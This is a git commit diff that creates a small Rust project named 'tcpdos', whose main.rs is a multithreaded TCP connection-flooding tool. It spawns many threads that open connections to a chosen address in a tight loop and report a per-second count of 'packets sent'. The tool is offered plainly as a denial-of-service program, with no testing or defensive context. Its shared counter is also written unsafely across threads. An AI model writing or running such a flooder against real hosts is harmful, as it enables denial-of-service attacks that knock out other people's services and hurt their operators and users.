commit 594fd1d82ab43c028cf1f99bb3b188e99feb965a
Author: sim1222 <kokt@sim1222.com>
Date:   Fri Nov 17 17:52:12 2023 +0900

    first commit

diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..ea8c4bf
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1 @@
+/target
diff --git a/Cargo.lock b/Cargo.lock
new file mode 100644
index 0000000..b55f519
--- /dev/null
+++ b/Cargo.lock
@@ -0,0 +1,223 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
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diff --git a/Cargo.toml b/Cargo.toml
new file mode 100644
index 0000000..3b470cc
--- /dev/null
+++ b/Cargo.toml
@@ -0,0 +1,9 @@
+[package]
+name = "tcpdos"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+clap = {version = "4.4.8", features = ["derive"]}
diff --git a/src/main.rs b/src/main.rs
new file mode 100644
index 0000000..2f65280
--- /dev/null
+++ b/src/main.rs
@@ -0,0 +1,53 @@
+use std::{
+    io::{self, Write},
+    net::{SocketAddr, TcpStream},
+};
+
+use clap::Parser;
+
+#[derive(Debug, Parser)]
+struct Args {
+    #[clap(default_value = "172.0.0.1:113")]
+    ip: SocketAddr,
+
+    #[clap(default_value = "20")]
+    threads: u64,
+}
+
+fn main() {
+    let cli = Args::parse();
+
+    let threads = cli.threads;
+
+    static mut SEND_COUNT: u64 = 0;
+
+    for _ in 0..threads {
+        std::thread::spawn(move || loop {
+            match TcpStream::connect_timeout(&cli.ip, std::time::Duration::from_nanos(100)) {
+                Ok(_) => unsafe {
+                    SEND_COUNT += 1;
+                },
+                Err(_) => unsafe {
+                    SEND_COUNT += 1;
+                },
+            }
+        });
+    }
+
+    std::thread::spawn(|| {
+        let mut last_count = 0;
+        loop {
+            print!("{} Packets sent. {}/sec", unsafe { SEND_COUNT }, unsafe {
+                SEND_COUNT - last_count
+            });
+            last_count = unsafe { SEND_COUNT };
+            io::stdout().flush().unwrap();
+            std::thread::sleep(std::time::Duration::from_secs(1));
+            print!("\r");
+        }
+    });
+
+    println!("{} Threads created.", threads);
+
+    loop {}
+}